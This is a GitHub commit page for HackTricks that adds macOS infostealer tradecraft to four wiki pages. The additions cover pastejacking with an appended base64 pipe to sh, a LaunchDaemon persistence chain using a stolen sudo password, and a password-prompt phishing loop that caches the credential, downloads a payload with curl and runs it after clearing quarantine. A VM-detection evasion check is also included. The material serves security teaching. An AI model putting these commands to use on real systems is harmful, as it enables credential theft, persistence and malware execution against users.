Skip to content

Commit 27a3f2a

Browse files
authored
Merge pull request #1735 from HackTricks-wiki/update_2025__the_year_of_the_Infostealer_20260106_125114
2025, the year of the Infostealer
2 parents 161769f + 607ed51 commit 27a3f2a

File tree

4 files changed

+65
-0
lines changed

4 files changed

+65
-0
lines changed

src/generic-methodologies-and-resources/phishing-methodology/clipboard-hijacking.md

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -10,6 +10,10 @@ Clipboard hijacking – also known as *pastejacking* – abuses the fact that us
1010

1111
Because **no file is downloaded and no attachment is opened**, the technique bypasses most e-mail and web-content security controls that monitor attachments, macros or direct command execution. The attack is therefore popular in phishing campaigns delivering commodity malware families such as NetSupport RAT, Latrodectus loader or Lumma Stealer.
1212

13+
## Forced copy buttons and hidden payloads (macOS one-liners)
14+
15+
Some macOS infostealers clone installer sites (e.g., Homebrew) and **force use of a “Copy” button** so users cannot highlight only the visible text. The clipboard entry contains the expected installer command plus an appended Base64 payload (e.g., `...; echo <b64> | base64 -d | sh`), so a single paste executes both while the UI hides the extra stage.
16+
1317
## JavaScript Proof-of-Concept
1418

1519
```html
@@ -203,5 +207,6 @@ homograph-attacks.md
203207
- [Pastejacking PoC – GitHub](https://github.com/dxa4481/Pastejacking)
204208
- [Check Point Research – Under the Pure Curtain: From RAT to Builder to Coder](https://research.checkpoint.com/2025/under-the-pure-curtain-from-rat-to-builder-to-coder/)
205209
- [The ClickFix Factory: First Exposure of IUAM ClickFix Generator](https://unit42.paloaltonetworks.com/clickfix-generator-first-of-its-kind/)
210+
- [2025, the year of the Infostealer](https://www.pentestpartners.com/security-blog/2025-the-year-of-the-infostealer/)
206211

207212
{{#include ../../banners/hacktricks-training.md}}

src/macos-hardening/macos-auto-start-locations.md

Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -88,6 +88,21 @@ List all the agents and daemons loaded by the current user:
8888
launchctl list
8989
```
9090

91+
#### Example malicious LaunchDaemon chain (password reuse)
92+
93+
A recent macOS infostealer reused a **captured sudo password** to drop a user agent and a root LaunchDaemon:
94+
95+
- Write the agent loop to `~/.agent` and make it executable.
96+
- Generate a plist in `/tmp/starter` pointing to that agent.
97+
- Reuse the stolen password with `sudo -S` to copy it into `/Library/LaunchDaemons/com.finder.helper.plist`, set `root:wheel`, and load it with `launchctl load`.
98+
- Start the agent silently via `nohup ~/.agent >/dev/null 2>&1 &` to detach output.
99+
100+
```bash
101+
printf '%s\n' "$pw" | sudo -S cp /tmp/starter /Library/LaunchDaemons/com.finder.helper.plist
102+
printf '%s\n' "$pw" | sudo -S chown root:wheel /Library/LaunchDaemons/com.finder.helper.plist
103+
printf '%s\n' "$pw" | sudo -S launchctl load /Library/LaunchDaemons/com.finder.helper.plist
104+
nohup "$HOME/.agent" >/dev/null 2>&1 &
105+
```
91106
> [!WARNING]
92107
> If a plist is owned by a user, even if it's in a daemon system wide folders, the **task will be executed as the user** and not as root. This can prevent some privilege escalation attacks.
93108
@@ -1793,6 +1808,10 @@ RunService ()
17931808
- [https://github.com/cedowens/Persistent-Swift](https://github.com/cedowens/Persistent-Swift)
17941809
- [https://github.com/D00MFist/PersistentJXA](https://github.com/D00MFist/PersistentJXA)
17951810
1811+
## References
1812+
1813+
- [2025, the year of the Infostealer](https://www.pentestpartners.com/security-blog/2025-the-year-of-the-infostealer/)
1814+
17961815
{{#include ../banners/hacktricks-training.md}}
17971816
17981817

src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md

Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -209,6 +209,29 @@ killall Dock
209209
{{#endtab}}
210210
{{#endtabs}}
211211

212+
### Password prompt phishing + sudo reuse
213+
214+
Malware frequently abuses user interaction to **capture a sudo-capable password** and reuse it programmatically. A common flow:
215+
216+
1. Identify the logged in user with `whoami`.
217+
2. **Loop password prompts** until `dscl . -authonly "$user" "$pw"` returns success.
218+
3. Cache the credential (e.g., `/tmp/.pass`) and drive privileged actions with `sudo -S` (password over stdin).
219+
220+
Example minimal chain:
221+
222+
```bash
223+
user=$(whoami)
224+
while true; do
225+
read -s -p "Password: " pw; echo
226+
dscl . -authonly "$user" "$pw" && break
227+
done
228+
printf '%s\n' "$pw" > /tmp/.pass
229+
curl -o /tmp/update https://example.com/update
230+
printf '%s\n' "$pw" | sudo -S xattr -c /tmp/update && chmod +x /tmp/update && /tmp/update
231+
```
232+
233+
The stolen password can then be reused to **clear Gatekeeper quarantine with `xattr -c`**, copy LaunchDaemons or other privileged files, and run additional stages non-interactively.
234+
212235
## TCC - Root Privilege Escalation
213236

214237
### CVE-2020-9771 - mount_apfs TCC bypass and privilege escalation
@@ -247,6 +270,10 @@ This can be useful to escalate privileges:
247270
macos-files-folders-and-binaries/macos-sensitive-locations.md
248271
{{#endref}}
249272

273+
## References
274+
275+
- [2025, the year of the Infostealer](https://www.pentestpartners.com/security-blog/2025-the-year-of-the-infostealer/)
276+
250277
{{#include ../../banners/hacktricks-training.md}}
251278

252279

src/macos-hardening/macos-useful-commands.md

Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -117,6 +117,16 @@ dscacheutil -flushcache
117117
sudo killall -HUP mDNSResponder
118118
```
119119

120+
### Quick anti-analysis / virtualization check
121+
122+
Some macOS stealers call `system_profiler` to detect VMs and **abort with a distinct exit code (e.g., 100)** to avoid sandbox detonation:
123+
124+
```bash
125+
if system_profiler SPHardwareDataType SPDisplaysDataType | grep -Eiq 'qemu|kvm|vmware|virtualbox'; then
126+
exit 100
127+
fi
128+
```
129+
120130
### Installed Software & Services
121131

122132
Check for **suspicious** applications installed and **privileges** over the.installed resources:
@@ -147,6 +157,10 @@ Without prompts
147157
148158
<figure><img src="../images/image (79).png" alt=""><figcaption></figcaption></figure>
149159
160+
## References
161+
162+
- [2025, the year of the Infostealer](https://www.pentestpartners.com/security-blog/2025-the-year-of-the-infostealer/)
163+
150164
{{#include ../banners/hacktricks-training.md}}
151165
152166

0 commit comments

Comments
 (0)